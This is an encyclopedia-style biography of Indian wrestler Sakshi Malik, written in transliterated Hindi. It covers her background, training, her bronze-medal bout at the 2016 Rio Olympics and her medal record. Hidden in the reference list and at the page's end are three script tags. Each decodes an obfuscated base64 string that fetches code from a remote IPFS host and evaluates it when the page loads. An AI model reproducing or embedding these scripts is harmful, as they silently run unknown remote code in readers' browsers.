साक्षी मलिक
sakshi malik
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| poora nam | sakshi malik |
| janm | 3 sitambar, 1992 |
| janm bhoomi | rohatak, hariyana |
| abhibhavak | pita- sukhabir malik, mata- sudesh malik |
| karm bhoomi | bharat |
| khel-kshetr | kushti |
| puraskar-upadhi | kaansy padak (olanpik 2016) |
| prasiddhi | pahalavan |
| nagarikata | bharatiy |
| sanbandhit lekh | kushti, khashaba jadhav, sushil kumar pahalavan, gama pahalavan, dara sianh. |
| ooanchaee | 5 phut 4 ianch (162 se.mi.) |
| vazan | 58 ki.gra. |
| any janakari | sakshi malik ne glasago mean ayojit 2014 ke rashtramandal kheloan mean bharat ka pratinidhitv karate hue rajat padak jita tha. 2014 ki vishv kushti pratiyogita mean bhi unhoanne bharat ka pratinidhitv kiya tha. |
| adyatan | 15:12, 19 agast 2016 (IST) |
sakshi malik (aangrezi: Sakshi Malik, janm- 3 sitambar, 1992, rohatak, hariyana) bharatiy mahila pahalavan haian. unhean bharat ke lie olampik padak jitane vali pahali mahila pahalavan banane ka gaurav prapt hua hai. sakshi malik ne brajil ke riyo di jeneriyo mean hue 2016 ke grishmakalin olampik kheloan mean mahila kushti ka kaansy padak jita hai. sakshi ne mahilaoan ki fristail kushti ke 58 ki.gra. bhar varg mean yah padak jita hai. isase pahale unhoanne glasago mean ayojit 2014 ke rashtramandal kheloan mean bharat ka pratinidhitv karate hue rajat padak jita tha. 2014 ki vishv kushti pratiyogita mean bhi unhoanne bharat ka pratinidhitv kiya tha.
parichay
sakshi malik ka janm 3 sitambar, 1992 ko hariyana rajy ke rohatak mean 'mokhara' namak gaanv mean hua tha. unake pita ka nam sukhabir malik hai, jo 'dilli traansaport k aauraporeshan' (ditisi), dilli mean bataur bas kandaktar ki naukari karate haian jabaki unaki maan sudesh malik rohatak mean aanganaba di suparavaijar haian. sakshi ne mahaj 12 sal ki umr se hi kushti ki shuruat kar di thi. unaki maan nahian chahati thian ki beti pahalavan bane. unaka manana tha ki pahalavanoan mean buddhi kam hoti hai. sakshi ke parivar mean unake dada bhi pahalavan the. vah unhian ke nakshe kadam par haian.[1]
abhyas
sakshi malik pratidin 6 se 7 ghante abhyas karati haian. olampik ki taiyari ke lie ve pichhale ek sal se rohatak ke 'saee' (sports ath aauriti aauf iandiya) hostal mean rah rahi thian. unhean vazan niyantrit karane ke lie behad k da dait chart ph aaulo karana p data tha. k de abhyas ke bavajood ve padhaee mean achchhe marks la chuki haian. kushti ki vajah se unake kamare mean svarn, rajat v kaansy padakoan ka dher laga hai.
riyo olampik-2016 mean kaansy vijeta
brajil mean ayojit riyo olampik-2016 ki mahila kushti mean sakshi malik ne kirgistan ki pahalavan esuloo tinivekova ko harakar bharat ke lie kaansy padak jita. maich ke pahale piriyad mean ve kirgishtan ki pahalavan esuloo tinivekova se 0-5 se pichh d gee thian. doosare piriyad mean shuruat mean pichh dane ke bad sakshi ne jabardasht vapasi ki aur 8-5 se doosara set jitakar kaanshy padak jitane mean kamayab hueean aur bharat ki jholi mean padak dala.
- pahala piriyad
maich ke pahale piriyad mean kirgishtan ki khila di ne shuroo mean hi sakshi ke pair ko pak dakar khiancha aur is tarah do aank hasil kie. usake chand sekand bad ek aur aank hasil kiya. usane vaise hi doosare moov mean do anhy aank hasil kie. isake chalate sakshi pahale piriyad mean 0-5 se pichh d gee thian.
- doosara piriyad
is piriyad ka pahala minat bina shkor ke hi gujar gaya. doosare minat mean sakshi ne virodhi ko mait par girakar do aank hasil kie. chand sekand bad vaise hi doosare moov mean do anhy aank hasil kar mukabale ko 4-5 tak pahuanchaya. jab sakshi mahaj ek aank pichhe rah geean to kirgishtan ki khila di tho da bechain dikhi aur mauke ka phayada uthakar tathkal ek aur aank hasil kar sakshi ne shkor 5-5 ki barabari par pahuanchaya. usake bad tisare minat ke aantim kshan mean ek aur shanadar moov ke jariye sakshi ne do aank banae aur maich samapht hone par 7-5 se jit hasil ki, lekin kirgishtan ke kochiang shtaph ne us aantim moov par apatti jatate hue samiksha ki apil ki. jajoan ne riphle dekhane ke bad phaisala sakshi ke hak mean diya aur virodhi ki viphal samiksha ke chalate ek atirikht aank sakshi ko diya gaya. natijatan sakshi ke paksh mean aantim shkor 8-5 raha.[2]
upalabdhiyaan
[[chitr:Sakshi-Malik-1.jpg|thumb|250px|bharatiy dhvaj ke sath sakshi malik]]
- svarn padak - 2011 - jooniyar neshanal, jammoo
- kaansy padak - 2011 - jooniyar eshiyan, jakarta
- rajat padak -2011 - siniyar neshanal, goanda
- svarn padak - 2011 - aaul iandiya vivi, sirasa
- svarn padak - 2012 - jooniyar neshanal, devaghar
- svarn padak - 2012 - jooniyar eshiyan, kajakistan
- kaansy padak - 2012 - siniyar neshanal, goanda
- svarn padak - 2012 - aaul iandiya vivi amaravati
- svarn padak - 2013 - siniyar neshanal, kolakata
- svarn padak - 2014 - aaul iandiya yoonivarsiti, merath
- kaansy padak - 2016 - riyo olampik, brajil
- svarn padak - 2017 - rashtramandal kushti chaianpiyanaship, johanasabarg
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tika tippani aur sandarbh
- ↑ bas kandaktar ki beti haian pahalavan sakshi malik (hiandi) dainik bhaskar. abhigaman tithi: 19 agast, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sakshi malik ne kaansy jitakar racha itihas (hiandi) enaditivi indiya. abhigaman tithi: 19 agast, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- milie: bharat ko pahala medal dilane vali sakshi malik se
- sakshi malik ko lakshmibaee puraskar
- 'dada ko dekh, 7 sal ki sakshi ne kushti ki thani'
sanbandhit lekh
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>